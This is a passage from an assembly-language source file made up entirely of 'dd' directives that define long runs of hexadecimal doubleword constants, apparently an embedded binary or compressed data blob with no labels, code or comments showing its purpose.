0A0036674h dd 0FD1292DAh, 0B3329024h, 5E700044h, 96EB555Ch, 0CD00EADDh dd 0D4080991h, 2F9FE46h, 0F0B2F789h, 58623DB7h, 0BDCC3460h dd 0AB2DDF00h, 7813156Ah, 0E45703C0h, 121A0F6Dh, 70F324C8h dd 8DA7E607h, 6F50C920h, 18F614h, 52FB3688h, 0C3D54F35h dd 0BAA32606h, 0D8C5F5h, 99E2B44Eh, 2AD2BD84h, 89203Ch dd 0B6A3BAECh, 71D345E1h, 0C1C0029h, 99772A1Eh, 8CB0C748h dd 24CA9501h, 74307B38h, 23BBD0h, 0C48218A3h, 51854626h dd 56091C00h, 0E84A556Dh, 9F0E07FEh, 1FDD18D0h, 390BC09Ch dd 4702B86Eh, 6FE39001h, 77E20A2Eh, 3D31864h, 625C7386h dd 4E982FF0h, 6C00A495h, 0C75F064Dh, 1F3FBBFh, 422A8C0Ah dd 0C8C8A550h, 4F3E6C5Dh, 498E80DAh, 34899C68h, 0A09E0075h dd 0DE8DF4CAh, 0A60F1966h, 6F6F3099h, 0F37FA095h, 1CBEF67Ch dd 408E7663h, 0CF923BB2h, 0A11F9119h, 7098B6CDh, 1D477C39h dd 40770F9Bh, 241082EEh, 5630F7B0h, 92E7201Bh, 1F9EF4C2h dd 0FCD048Bh, 221DD5Ch, 0E891E49Fh, 0B873FDDFh, 277A8200h dd 636BB061h, 0E7AA1493h, 0BD3BFE8Fh, 6D052200h, 0EF145840h dd 90D8EA07h, 0B290F608h, 0BE16B3h, 0CD79178Eh, 0C2B470FEh dd 0B6B8C81Bh, 1E63D808h, 354502F4h, 59E16D75h, 28A72840h dd 0AC815000h, 38B44DB3h, 376700FDh, 856612EFh, 4100CD43h dd 3D28057Fh, 0FBC0A8h, 0FA4C3240h, 0C34BA142h, 0DDB01A00h dd 650B26CCh, 0FCD04869h, 0D8675D00h, 5BD7AB20h, 0CB5E9C00h dd 0F1D94CE1h, 49D403E7h, 265F35EBh, 0DD3F27C0h, 3A29B009h dd 9C1C00A2h, 122AE7Ah, 6E364311h, 925ACE1Eh, 0C02527Ah dd 0A84F010h, 0A3A80088h, 279A4A6Dh, 2DD0A10Ch, 36A013h dd 793BB58Eh, 4F8BC43Dh, 2FEC30Fh, 1877805Dh, 322170h dd 6184AB05h, 42C050CDh, 11070100h, 0D54C5C65h, 873807FAh dd 10137244h, 5F9422B4h, 290F4200h, 75E24B85h, 0F6F70207h dd 0CFE8ED6h, 0D7C91160h, 479DE100h, 296E3E34h, 0FB0C770h dd 35A1F065h, 0AC0EB56Ch, 0A38FF3E7h, 0B08DF778h, 1A80588h dd 6162EC9Dh, 0E0F0FD71h, 0F609D2D4h, 87501FAAh, 3F0D930h dd 288D2151h, 1EB8F73Fh, 4022EDD5h, 20E8C9ABh, 6700E2ACh dd 87B85C6Ah, 83C3BBh, 6204BA7Dh, 20214FA1h, 0E713A203h dd 0F0C57568h, 0FF4EF9h, 0C17B0BEh, 18EC3C84h, 36E6700h dd 737A0A22h, 7753746Ch, 0F7392678h, 48C10024h, 2F659524h dd 0D8CD2503h, 0E0681093h, 0B2ED472h, 0AF4066E4h, 35E17500h dd 1600177Dh, 0E9F0BB64h, 992010Fh, 6942BE8Ah, 43071500h dd 0B1F0E479h, 91D3040Bh, 800C0EDBh, 51D88B30h, 7EED0226h dd 92F49308h, 436E4061h, 85A04AAEh, 0C1EC2311h, 5176B400h dd 7D75F895h, 4FE13C0Dh, 0F1C56E07h, 86C930DEh, 0CE014C9Ah dd 0CF59A795h, 0B8E0995Eh, 5F1E0042h, 0A26E37CAh, 289140DCh dd 89078507h, 0DD157640h, 1DCB006Ch, 0E54EEF75h, 551EA77Ah dd 4D804FD5h, 0A38244EDh, 0D40E1DEAh, 47A80BCDh, 1E6C3000h dd 20004A54h, 0E43DEDAEh, 0C2BBFFh, 37BE8483h, 0AC8D977Dh dd 0B2318EF5h, 0A68F0018h, 3BF4DC2Eh, 4F87DA98h, 4072C65Bh dd 6EDDD8A2h, 0BE00D9E4h, 4005E7D7h, 48C8FCh, 0E925A69Ch dd 0C6498115h, 1C109E60h, 0F6A598Ch, 0EC4A8960h, 0CF13A860h dd 0ED74E05Ch, 64C34200h, 5A1B0722h, 0FD190026h, 0E19DA515h dd 0F5008FB7h, 3D0E71FCh, 1C153E2h, 6DACC5F4h, 0E84442E3h dd 0EA2E3808h, 3300C99Eh, 0ECFF3901h, 87CA0036h, 0F7F43779h dd 0A577EA57h, 31BC6000h, 0C808DB69h, 2D032601h, 0C66B00F8h dd 84F82F14h, 68075FB0h, 213FF6Eh, 0FC01FD80h, 0EA3FE91h dd 6CDC7109h, 6E346FA0h, 0C60E8DA9h, 87A29FB3h, 0EC80A836h dd 482EE0D6h, 610094FAh, 2DB7D40Ch, 1273B304h, 3B17E600h dd 8C40FD3Fh, 23AE000Ah, 2F15E1DEh, 0C8046C63h, 43B9AF89h dd 53EA4880h, 0CE580076h, 0D5758213h, 340065F3h, 9D2808D2h dd 57DD82Ah, 0B9A4924Fh, 8C20805Dh, 9E0305FCh, 0F7A2043Ah dd 0F07F8847h, 0BF1800C8h, 0B3622F4h, 57007CBEh, 93B385DDh dd 275DC72Ah, 2C018ACFh, 0C821DE50h, 2401052Fh, 2918518Dh dd 35FC1E8Fh, 4E30005Bh, 691C5A74h, 0D0005340h, 0B87EF94Bh dd 580BA243h, 603F8C6h, 0FB342A95h, 0EE9CB1C0h, 40EDE327h dd 1A702A1h, 0F4144124h, 20537FF0h, 31001CE4h, 3655CA30h dd 0F01BC927h, 66F80038h, 172AA954h, 8300EA0Ah, 0F4DE4AC1h dd 9F4C25h, 0D0AF2407h, 0F713CA58h, 16930307h, 0F0F0683Dh dd 0E4404B4Eh, 263B01DCh, 0C7191B1Dh, 5EFC30EBh, 3272FB00h dd 2EC5E29Dh, 0BA390074h, 0A78069F4h, 8E00EC43h, 981F2138h dd 9D8DD87h, 5ED96466h, 0CC00028Bh, 5D89CAE7h, 651CC800h dd 6E25A4A2h, 0E3EAACh, 0E7F934B7h, 0D0F87121h, 0F5A3EC14h dd 3FC980CCh, 1CD8D2ABh, 95E3212h, 1C23D44Eh, 2280FB45h dd 0E807CAACh, 0D2A4E726h, 3F682741h, 91F460h, 0E169A06Bh dd 0ABDD3D5Fh, 72330302h, 0C08A81E4h, 986E6FD9h, 0ECD80054h dd 8F13AB06h, 8200DB1Dh, 0CC25CA22h, 50419Eh, 94FF920Eh dd 4F2D3346h, 0D7DD0B8h, 0C1CB7703h, 0E02AFE75h, 0C631D1h dd 90CD7B5Ah, 9CE66BCAh, 0E58C8600h, 57818099h, 9870F8D5h dd 4D30044h, 0D6FEC252h, 47795324h, 7F5A9900h, 86D84BC3h dd 0DF9F00C4h, 506E311Dh, 5300EEF8h, 0F7F18C7Ch, 2ED33A97h dd 0BD7E35h, 1D026873h, 1E60DABFh, 3F995130h, 0BBAB0EAh dd 3BB90A2Bh, 8912D022h, 9C01DCEEh, 40CC4724h, 0C770D6D8h dd 424100CBh, 0BFA4239Ah, 0DC00B5C2h, 0C9D8E546h, 2717Fh dd 85830D98h, 9E57F155h, 8C9F9C00h, 8FE2DD32h, 0BBD80090h dd 0E535ED63h, 0F009A48h, 0A99B44CEh, 504A350h, 0F2CA7456h dd 0BFE2001Fh, 0E01D1965h, 0A889B900h, 0AB8AF912h, 90F2036Fh dd 0D364EC81h, 72D7488h, 829A8B00h, 1457BFFAh, 0C643001Fh dd 0FDAEB44Ah, 0EE07FC5Ah, 926CD101h, 4CF3D000h, 0F19400B9h dd 9D9B14A1h, 33A10A5h, 0EA01F8E3h, 9EB13E9Fh, 0A340D2CEh dd 0F69C3C4h, 678AD0BDh, 0F16C2200h, 0A41D96B4h, 0FB3F7341h dd 105BC700h, 0DB5AC204h, 285D2E22h, 275801A9h, 0ECE01E6Bh dd 0F6581A5Bh, 53450025h, 1DC5986Ah, 41A10021h, 5BA517C1h dd 7F1639C9h, 0F818B0A8h, 3958F820h, 0D200DD81h, 75CDF10Eh dd 0D8C055A5h, 0C34A964Eh, 9D1F176Bh, 1B0D01C2h, 0E4988CCEh dd 42001332h, 9AC8722Dh, 0F09622h, 175FA7CFh, 977F75C3h dd 4D83ED00h, 0E3DD870h, 6A14887h, 409EB71Dh, 6C16577Eh dd 2D18C8E5h, 5110112Ch, 8FC1000Fh, 0CB14627Bh, 0A2FE5C6Fh dd 57A5ED13h, 0E5A9EC07h, 3AE61DD3h, 8F006388h, 47EC1B01h dd 9DFEA2DAh, 545C0C07h, 83703491h, 6063A5h, 74B2E638h dd 56D725C5h, 0E041A300h, 7B7EBCD0h, 0FA3D0CDFh, 0E218572Fh dd 2A56F900h, 0C6357913h, 22BF0016h, 40E1AE75h, 8200CD1Ch dd 0E3D01E04h, 34B1D3Ah, 54F1A95Dh, 800A8AFh, 49581698h dd 787AD32Ch, 0F823003Ch, 0DAAC324Eh, 813FDBD2h, 0FED60ED7h dd 0FCC0FF13h, 94DFD46Fh, 0DDE4E96Eh, 0BBF31D71h, 0E4FF0183h dd 25E929FBh, 0A0EFDC34h, 276EE707h, 8130B2EAh, 0A07F4F76h dd 509F21FBh, 13D8EFh, 4CB41A6Fh, 2B664297h, 297A91F6h dd 4A135E76h, 90009E8Bh dd 5AB0E09Ah, 32B10034h, 727779A1h, 2C00B4A8h, 58A5CA98h dd 8ACB86h, 71E451F4h, 0BFC5654Fh, 0E6F4A1FAh, 30756A00h dd 0DB726170h, 0DA9050h, 0D6CA5911h, 5A04EA25h, 38B05600h dd 0C0F2812Eh, 707182h, 7DE42C62h, 54A2F857h, 0EC390C00h dd 4D5386F3h, 77A1001Bh, 0D4B0E2C0h, 5E006411h, 1F7B7C93h dd 78E37A5Ch, 0A8CA0E66h, 6840FBECh, 73F71975h, 72E896E0h dd 0A3D9372Eh, 0E06EE200h, 8DD10Dh, 0EEC27616h, 5BAAADF9h dd 31A2C401h, 0DA567D59h, 0A579F8h, 53CB7420h, 91D12F0Ah dd 282AAD00h, 6E29D8C0h, 2BDB0047h, 4DC6D27h, 0B1D7805h dd 724097CEh, 7715EF5Bh, 0B9580070h, 0ADE755A8h, 8B0067AEh dd 42C87162h, 7E47CA5h, 0D2AC1D46h, 92170461h, 0D8402F4Ch dd 500070E9h, 45B7E544h, 0EEAB11ACh, 5CF20040h, 0DC6A752Ah dd 0E1EC7A7Bh, 14947F00h, 71F7BCA1h, 62602548h, 4C0F30DEh dd 0B31720BAh, 0E6F57065h, 9DC500A8h, 0A03EC661h, 0F8B70A37h dd 0BCCB00FFh, 2D5ACEEAh, 7977C76Fh, 5D9C8007h, 5797EDD9h dd 0FCD27460h, 5C09022Dh, 0EB7C0D43h, 300FD0E0h, 3B25EE00h dd 9E4C4815h, 0BE4907E5h, 18692F4h, 0D974E4B4h, 13BF7094h dd 30E41251h, 0AC004AC2h, 0E6B75B40h, 0EAC0F82Bh, 0A7190A81h dd 1D0C323h, 146B971Dh, 0CD312013h, 47C71701h, 45F50EC8h dd 0A038CC32h, 37BAE20Fh, 589FCE8Eh, 0DB36D238h, 8155D338h dd 0E602FB27h, 0D0515CFFh, 0B3C982E7h, 5398BA03h, 652C01A2h dd 0FE0E8D1Ah, 1FD0B6Eh, 0CFA95F28h, 0DAA6FCh, 0C76B1A23h dd 971CEA6Fh, 37600D0Ch, 2640DE16h, 600CDC9Eh, 0FF32183Fh dd 43D6BD0Bh, 3D648125h, 5AEC91BFh, 6088001Fh, 0FF58DBC1h dd 5C0067B5h, 454620CCh, 0C7EAE65h, 0AC0A799Bh, 6200BCB4h dd 21474EC2h, 0EA6776F8h, 8D990043h, 8AFB5F1h, 0E900BB98h dd 0A685AEE4h, 38B15FDh, 0CC3AC8B8h, 47C8F4B1h, 1E139603h dd 0F04F9717h, 98D66085h, 20D48Ch, 0E465E2Fh, 0A446175h dd 6C9D2918h, 7E248908h, 277C35h, 48239207h, 79FAA713h dd 33A23400h, 732E4978h, 5C8C5897h, 7EC22C7Eh, 77280058h dd 0F7AC5787h, 0D542DE07h, 9B6126C6h, 0C0C358EAh, 0E7A5CCh dd 0D68BE665h, 0B119FE56h, 40BA6D00h, 2BA2D885h, 5B030B51h dd 0DD80CEC1h, 330A4A5Ah, 0D4478400h, 140B542Eh, 8AE300C3h dd 7F1D3C4Ch, 927B86C2h, 0A6438C00h, 0F462260Bh, 0F2C74C1Fh dd 1FDB7479h, 22A4D0h, 27CE592h, 0C9F30CD1h, 6AF0402Ch dd 251E5810h, 0C34038DFh, 0D7503CDAh, 0B6430035h, 0ABF261ECh dd 40005328h, 3AE79B04h, 2C589F41h, 3518943h, 32C14C1Ah dd 0BABE3000h, 0AB33FDA7h, 5840004Fh, 0B108DAA8h, 84B08E48h dd 1F4D270Eh, 371B4763h, 80543660h, 240F010Bh, 0DEFC9473h dd 15AC8ECh, 0C4E04E51h, 121E2869h, 1E876E2Fh, 2B704924h dd 354770h, 20CDE15Ah, 3327DF61h, 4B533Ah, 3637BDD5h, 36244C3h dd 0B5A3F70Fh, 20B0D006h, 0BC90F1ACh, 0CA0CD77Ch, 11F00921h dd 5F28809Fh, 80C7EF40h, 35034A7Dh, 0D3461DFEh, 0E097E3FBh dd 30E05A7Eh, 64A8F9EAh, 0EF7CDFB1h, 0BDB83703h, 0F013A4EEh dd 156406Dh, 4163102Eh, 80DC7AADh, 0C9FAAB48h, 1150CB67h dd 0E637DFh, 7EE95FD5h, 0A44DC4h, 283D1643h, 18F0BE34h dd 844BB301h, 56B5E901h, 3923C6D8h, 1C80C2C1h, 0E1A3CE83h dd 7274012Dh, 94D74E00h, 553FCA4Fh, 0AE690088h, 820330FBh dd 5F002037h, 124B6F9Ch, 7E10ECh, 0F0C3FA52h, 1BA78E4Ah dd 7FACE64Ch, 898BED00h, 26ADBBE0h, 356F81Eh, 971B760Dh dd 0B929EF45h, 0E17104EEh, 1CE23C0h, 0E3B2452Dh, 86F8E0A5h dd 0E97C5920h, 79150029h, 0FFEFC623h, 801EBED5h, 0EE03406Fh dd 697D24h, 67967979h, 0D1E8254Ch, 116C7484h, 549E5Dh dd 0B5E28BAEh, 19C98FD7h, 8B7DFFDh, 1F218091h, 0B8DEE290h dd 77870164h, 0B40DA4EDh, 88A73172h, 80EA4198h, 7C95A0C6h dd 5D6FE39Eh, 0FB6B8078h, 608BF3A3h, 0B04EB0D3h, 65036853h dd 9ECEAF79h, 687FF7h, 57899B1Eh, 16E8C7C6h, 1CA6A2ECh dd 31E41D40h, 0B170FCDDh, 32163093h, 1000C9E6h, 7960AE5Bh dd 185E4AE5h, 0F902D58Ch, 10167D9h, 0C51A7F62h, 9937EEAh dd 3984496Fh, 4BFFA000h, 0BE1B7B78h, 2C05BE3h, 68EF59D0h dd 0D4A4C0F6h, 1644C09Ch, 0DA766378h, 0DB2B4317h, 81212218h dd 0A5C10092h, 2794CA71h, 3E01664Fh, 43E8FE3Fh, 4C48965Eh dd 5C010469h, 2CE04A7Fh, 150003Fh, 903704F3h, 600D507h dd 0BAFAB244h, 0C0F830D4h, 62156B48h, 55006384h, 1885EAF6h dd 3C928B0h, 0B38CE1F0h, 887469FBh, 0A8A3A688h, 3DCFACF0h dd 0BC875E25h, 70908326h, 0F0949C88h, 0CA3DE600h, 47799ECFh dd 1F8D0055h, 0A95B8C50h, 7D18F89Dh, 0BE4956A0h, 5ACF0004h dd 8770C085h, 0F60015FAh, 9D891C5Dh, 1A6678h, 46C87475h dd 0C641F7AAh, 51F85406h, 79C922D4h, 889500CEh, 0C0BAB2B4h dd 8CC3A6Dh, 2F2158h, 16A295AEh, 0C4E7B7FEh, 6B4898E9h dd 24F13529h, 218FA6Fh, 5D7F76D7h, 9F080460h, 0D4747D28h dd 0DF79570Eh, 4CB7A085h, 2B5A4228h, 0F0B2EFh, 7B64C161h dd 8085DC53h, 49C158B7h, 0CB023464h, 7FB1E153h, 78184084h dd 0E92C0E03h, 374240FCh, 90A06081h, 0F3CDF409h, 6906A906h dd 3A3058E3h, 5960F73Ch, 22516AA8h, 20130D09h, 94338129h dd 0A560797Fh, 2BE0018Ah, 0D4B9232Dh, 0EE608028h, 1D2F1343h dd 4A390072h, 0D3E86921h, 900587E5h, 0CD5951E1h, 274105AAh dd 8C1ECFh, 42095A1Eh, 7B39B1C6h, 0FE348136h, 0E9C73BCCh dd 5038BEECh, 15B5ACF8h, 0A8F6F37Bh, 5B121863h, 3E881E4h dd 69FD10CCh, 0A689280h, 0CF8402A0h, 80742180h, 43C1ED60h dd 6F1EA276h, 0BF003893h, 6C88836Eh, 7CA1034Ah, 0FDBBEA7Dh dd 5100FAC3h, 5C93B71Fh, 654B2CBDh, 24AB58CEh, 9368825Ch dd 8E28930h, 0CB5FD74Fh, 1541A764h, 0D42CE296h, 394C5A3Ah dd 26DE01DDh, 7BE921C1h, 629E1C20h, 6BD6E823h, 4D68C448h dd 26B64100h, 439DF7BBh, 0FAD00085h, 0C754575Bh, 2B008173h dd 461E0F8Ah, 9AAC9B9Eh, 77590980h, 0D422F7D5h, 6868A693h dd 8E747A80h, 4898B4A0h, 0C925E26h, 60061DC0h, 2A6A467Fh dd 3B00FC13h, 2650164h, 26AFA642h, 7C89E3h, 0CF56BB20h dd 1F280A93h, 0CE01AC6Ah, 5717733Bh, 742669EFh, 67C16601h dd 0CDB2B7Bh, 5DBC88F5h, 41C3C11Fh, 0F7ED7286h, 51780019h dd 8C65C6ACh, 9F07D512h, 796EF2E4h, 5E8BE3h, 0F3817EF8h dd 0A3BD0FFFh, 0C7245B07h, 0EAAE6B3Ch, 0C90580CDh, 0B440A4E6h dd 2F2AA95Eh, 8AF0A0C8h, 65C6C7FAh, 6BDAC021h, 0E8C028BFh dd 4813C06Dh, 2BE976C4h, 0FFC59FCh, 0D722E05Fh, 316CAAFh dd 12E287BBh, 0BEF8BDB4h, 0D7595C4Fh, 0B44824h, 0A9CD8EF1h dd 5F0BDEh, 66B33679h, 0CAB790CEh, 7B612E1Eh, 0F001EC29h dd 6D2FEC7Eh, 152E458h, 3EBA0D20h, 0FE09C72Ch, 0CF16C080h dd 9926530Bh, 40303581h, 631F2D34h, 0E57AF0E6h, 5A0E80Fh dd 480813FBh, 0C167C0ACh, 43217B62h, 0C891DAh, 2C15EE5h dd 536AA7Dh, 582AD99Bh, 0A300C1AEh, 0D07181B3h, 0B48399F1h dd 0DB861082h, 0AC804A67h, 0AA0FF67Bh, 5A4318C6h, 2AB4680h dd 781DC164h, 12C7315Bh, 0D788C082h, 0EB6B0ACEh, 0F0C89Bh dd 0B68CBB66h dd 1D4DDB79h, 0A55A00E0h, 0B2C873B8h, 0A34F0722h, 322DF6FBh dd 584492F1h, 0B83CBB0Ah, 46748479h, 9F8F00CBh, 0BAC7C341h dd 177B18B4h, 900191CEh, 0EDA4921Fh, 254E95C5h, 9318D059h dd 92B0FDF0h, 35EE1DD4h, 27D0316Eh, 46C900F6h, 582D48A2h dd 9E771862h, 2F2034C4h, 2E850E58h, 19F263FDh, 18AFC0E8h dd 69C10860h, 0D0C4BB7Bh, 0C1978640h, 6B1CA31Fh, 1165F7E6h dd 60D2FE0Ch, 7C60664Ch, 0C6DD24EBh, 0D81E8570h, 29B04033h dd 0AA446396h, 9203ABE2h, 7E1E1FC7h, 11BEA0EFh, 24854D57h dd 7B19AC48h, 8B24F218h, 8767B369h, 206F5C44h, 68E578DEh dd 9DB62CF1h, 249F094Ch, 6424502Bh, 60686293h, 0BB127F48h dd 401008B0h, 16F3E00h, 703AC22Ch, 94640145h, 0ED7D0954h dd 0DA477043h, 0F44DCE24h, 502F6B81h, 0C032D25Ch, 39F14B00h dd 7F08BA72h, 8BAF543Fh, 80F80113h, 0E9C2FCB0h, 9E6912CDh dd 4F840A4h, 290C9C3Eh, 888C900h, 0CCF0D557h, 14C600E8h dd 8BF46AF6h, 8D05C586h, 0E05A850Ch, 306F48C2h, 8E1195B6h dd 258862B4h, 95682D82h, 27BBE007h, 0DA730461h, 80ED76CCh dd 0C399ADECh, 98255B29h, 86556DD8h, 0E8768A16h, 91CB7500h dd 25FE3563h, 4A97D59h, 96C22882h, 0DE771E00h, 3B14B886h dd 6204D508h, 569E9Fh, 0AB9929F9h, 3A640567h, 87F13CECh dd 198208B4h, 605D8A61h, 309A38D4h, 0E839579Fh, 66E85E77h dd 0F5644D01h, 8B990A4Fh, 5CC7A6D8h, 0C98004F2h, 69329313h dd 36F67912h, 0D4E63480h, 1C1A48CEh, 4E1B653Fh, 0C103183Eh dd 500386EEh, 7C200013h, 0FD5FD641h, 5544FF6Ah, 0A0CAEEDBh dd 71905CA8h, 0E6ED0159h, 0F9E11FAAh, 0E77CE552h, 6BFD5102h dd 0E80376D6h, 3193B5FCh, 0F7A0FE5Ah, 9974249Bh, 0CCAFC0CAh dd 88CB3912h, 89C0A7C8h, 5808850h, 743CF2Dh, 0D6F480F8h dd 0AC06C333h, 0D0D7EBB5h, 82677479h, 186E0841h, 68C10465h dd 32DB737Bh, 5C8320CAh, 3500B4C1h, 0FA0C9156h, 4859AA09h dd 6898007Ah, 1C80CBBFh, 0B6D00B9h, 54077C49h, 39304059h dd 3BCB29F8h, 0D34082C2h, 0DC4A24CCh, 34DB6846h, 1677029h dd 0B7C29FD1h, 0DC130443h, 662A6979h, 2400DC72h, 34C73BCFh dd 0B2EAC3h, 6C96A974h, 573125A5h, 0A41E6801h, 601AF3A3h dd 0A34E5820h, 0A40F2E8h, 84B51184h, 3CC10162h, 8422E042h dd 1513CC0h, 0EC007DE1h, 83E7B178h, 506B81C3h, 0C69E0ADh dd 6D5967Eh, 780FA151h, 60438AA3h, 0F75C66A7h, 16E9C0CEh dd 0DE76BCB9h, 6B33A800h, 99F58E56h, 0FAB50EA6h, 2096FDBAh dd 774F1200h, 48EC2B4Dh, 165230Ch, 0B4849550h, 88261852h dd 9500B163h, 70CFE218h, 2ADCB03Eh, 4680C381h, 6160291h dd 31627F5Bh, 38985015h, 0E5B00165h, 156D33Dh, 34DA2761h dd 80726CB0h, 29304BF2h, 31DB3342h, 55B0CFA9h, 4D019668h dd 0BA5A75EAh, 3460E358h, 0C136FC64h, 0A6828A29h, 78A0C4EDh dd 0B530DA00h, 0E387FE09h, 7DFD1EA1h, 4638011Eh, 0F48C6658h dd 43012FE0h, 0BAA793D5h, 0B5ED77BBh, 13421820h, 1206F9ADh dd 98C7A10h, 68DA2DFAh, 2EBE799Ch, 9774BA97h, 8E6C12CDh dd 0C0C8C8ECh, 85283A16h, 2950638h, 0D75C5176h, 8FC8A024h dd 7B553093h, 1B5300EFh, 6FB9055Ah, 3100C129h, 0A3723C6Ah dd 1032D67h, 801F0C2Fh, 231669F8h, 4013F180h, 0B73AF50Ch dd 3FC80456h, 9CE2A35Fh, 0B13024F2h, 0A9440066h, 0BC9A32C8h dd 7C262A34h, 50CECCA8h, 32D2D382h, 482BDB02h, 481EC68Ch dd 0A3BC3C6Eh, 5F840F8Ch, 7C0F711Eh, 6F079900h, 1231A943h dd 0F7692841h, 0CBC4A0FAh, 8A8527h, 5E2D13BBh, 0F29F651Dh dd 34C47E00h, 0CFEFE478h, 14B8ABh, 0CB67C131h, 1615D8D1h dd 795FA030h, 186C5F8h, 0B595C944h, 3094777Bh, 0EA006980h dd 875DE0BFh, 17CDF853h, 21CF24Eh, 0ED2C7ECh, 0B09D5C6Ah dd 3E8EA211h, 95DA23E0h, 8C2ACAA4h, 1E016C83h, 63D62815h dd 5FD454BDh, 0F3CCEAF8h, 9EDB7064h, 0C1519EE8h, 41176622h dd 0E4F5701Ah, 0D3096879h, 2B6BDAAAh, 91D49770h, 0F01C80D0h dd 9A59BBA1h, 0A6650CA0h, 0B4048BFBh, 5A4E8498h, 4D01146Bh dd 5315FCC9h, 12482979h, 64407A37h, 0AA77B7F9h, 0EDB4A028h dd 71F4A82h, 0D976D3ACh, 8E7B489h, 2601A44h, 2500C16Fh dd 0BCB05D90h, 4C7AE0A4h, 681D4C82h, 0F66F0964h, 71246C20h dd 41C11BDBh, 0D292D0F5h, 791123E0h, 0AAA40015h, 762E6617h dd 1EE8CCE0h, 0AE638917h, 7CE68880h, 27F09E56h, 0ECB7A89Ah dd 3A38E680h, 5B8BD1Ch, 0DBA1C163h, 0A9CC005Ah, 3369EB7Fh dd 87A65007h, 5550FB91h, 0A6D90BF8h, 955A2790h, 902397DEh dd 290E1F11h, 3BA195ACh, 0E87949F7h, 9499535Fh, 4C9461Ah dd 1F400190h, 0B66BAAC7h, 0F0C3F82Ah, 38022173h, 571CC469h dd 80B7F0D4h, 0F292EEE4h, 4B9E1841h, 4AF958AEh, 0B15ED100h dd 0E68203CDh, 22AA805Bh, 0FF4BA902h, 8813AD40h, 0D3C41C9Eh dd 0E0110605h, 0BE0C4FF8h, 0B0FB2DB8h, 6584169Fh, 23182F48h dd 0DA06006Fh, 86C177D0h, 355F2313h, 0AF796C05h, 1510282Eh dd 0C400DD40h, 0D9DBF710h, 0A982382Fh, 0EB40028Ah, 6A8401A8h dd 2099E2A3h, 3B26CC70h, 0A700ACA8h, 8955F587h, 95A90161h dd 0E23A8685h, 21F5204Dh, 0A00C2490h, 48EC0F22h, 9E1BF87Bh dd 4AA609A8h, 606EA427h, 0F4382EB2h, 8B7C3718h, 98C36C19h dd 0F7232460h, 480741ACh, 0E96C304Ch, 0C24FD878h, 0BC6B5403h dd 2031C980h, 0D9EAD887h, 0FA54416Dh, 0F9CECC51h, 0C739A498h dd 502531F2h, 825F1F7h, 0AFC0EC3Ch, 0C17A0D76h, 24EC3858h dd 0AA9330EFh, 0DEF0DCC9h, 8EDB2A85h, 0A7FE80BCh, 409AA3h dd 1549C6Ch, 6399AD50h, 1E185660h, 178A068Fh, 0DF69ED04h dd 1FBA00A4h, 1C2C5775h, 5490034Ch, 0BFC11B49h, 51AF7AE0h dd 584C0674h, 0B51800F8h, 0C1126329h, 198B0070h, 6A4609B1h dd 1B0FBD54h, 69EEA061h, 1470E9F8h, 0A40860h, 9FC68433h dd 0F00CFB0Fh, 0B9637400h, 1A12953Ah, 96783FB0h, 8053C164h dd 1EF85080h, 0B109D893h, 3AB48495h, 2E00D88Eh, 4B649567h dd 415F706Ah, 19F6A47Dh, 0D702DE07h, 809AC276h, 9593B1D0h dd 6190BE72h, 3C78BED5h, 8DEE0264h, 9E928C91h, 1E382320h dd 8CE7B709h, 0B9D6202Dh, 30013C8Ch, 38359A1Dh, 3D2E836h dd 736BCB05h, 0A440CFF6h, 0FCD05FABh, 0DD0C006Fh, 0B8F06DC6h dd 6A2D8DD6h, 91E817B6h, 8C5F8091h, 17075552h, 9CEF3ECBh dd 10BCAF3Ch, 490465Eh, 0F42B006h, 26DE5C81h, 0BCE04303h dd 1F13B714h, 0D0D0F81Dh, 255E8592h, 0A4A0D829h, 6706B512h dd 7F176B00h, 91E2103h, 531D0272h, 22B0FD6Eh, 0DC249CA2h dd 8C006452h, 8A712D5Bh, 9801A965h, 40A14A3Ch, 1D7F1CE0h dd 7202FE11h, 8D56FBC9h, 1E072D5h, 0E71A21AAh, 204593BAh dd 41070EA7h, 0C3CD5C65h, 539EEF60h, 7F550738h, 4B6D1AEDh dd 0F684E811h, 22E42CC5h, 5B898E60h, 4A58C700h, 0D5F3EA07h dd 0F191C005h, 0E0A294F0h, 16D4A85Ch, 0F8C9C2B8h, 484FCBE0h dd 850764E2h, 0CB2684E7h, 0DF0148ECh, 2F30D302h, 6030C454h dd 0D0E174Eh, 0FC140A42h, 815E11ECh, 0D7B0E284h, 0D08BE845h dd 0E2910E00h, 8B2CAD96h, 1A7FD901h, 0DBC414AAh, 6451A839h dd 0B05ECC00h, 0E7B8C07Eh, 230C846Ah, 80007178h, 658706AFh dd 7926E66h, 0A2C59F0Dh dd 891D5137h, 0D694516Ah, 0ACF0502Eh, 0E000DD43h, 62C9A3D4h dd 17B486h, 0F6EC2853h, 898CA95Dh, 55255F74h, 90CCA0D4h dd 0A0B98Ah, 9EB49FBDh, 4501CBB5h, 68B1FD14h, 0ECA098DCh dd 0CB5A4A67h, 0C0D68850h, 9F0398CAh, 37037C7Dh, 0D715E65Ch dd 55B90027h, 4819BD6Eh, 77712875h, 0F4078C01h, 7D4ED4D5h dd 1CB54AD0h, 8067436Dh, 8DFBDDEBh, 0CCA053C7h, 0C20CE86Bh dd 512DD213h, 95350023h, 5BDE859Ch, 3D05BDA5h, 8AED7B50h dd 0FD134CC1h, 0F8F7B600h, 6156A9C5h, 0A510BD87h, 2C76D0E1h dd 0B64E879h, 6C008910h, 0FA7D9F39h, 484F249h, 6DD17BB5h dd 3D5D8C0h, 2CE09022h, 2449108h, 0F2CFAEF1h, 19C594A1h dd 0B8F86855h, 20018C58h, 0E6CD4C96h, 3B2B03E0h, 21F2364h dd 0AA085FE6h, 81E9E482h, 630E24F9h, 0F6097EA9h, 0A1084177h dd 0F900942Ch, 940C5968h, 44148906h, 0ACD468Bh, 0F474979Fh dd 516DFD89h, 420A01A0h, 2C559F05h, 7F808030h, 7E7033Bh dd 0B52D922Ch, 685A72AAh, 7794905Ch, 43C70BCBh, 0E464C566h dd 2CE3619Fh, 3F3C720h, 0CB05CA0Ch, 0B1B937CCh, 0AD57C89Ah dd 0A8AF84BEh, 465C34ECh, 0AFFB0FC4h, 8F452B2Dh, 0FA177D2Ch dd 80409808h, 0AC2093A2h, 701A17Fh, 9679D033h, 847DA697h dd 80EEEA18h, 2A60D25Ch, 7A746739h, 4C2E006Ch, 0B7C70B63h dd 9091D238h, 0E6A7FE80h, 0C121CFh, 4E361E7Dh, 2B6044AAh dd 7FAEBF18h, 0B2B88B90h, 0E2AC9844h, 64F0A006h, 35031224h dd 3E500504h, 3D309021h, 410575C2h, 127CC52Dh, 559198D0h dd 3EF32476h, 8BB8006Bh, 67DE6E56h, 0DD1FCB00h, 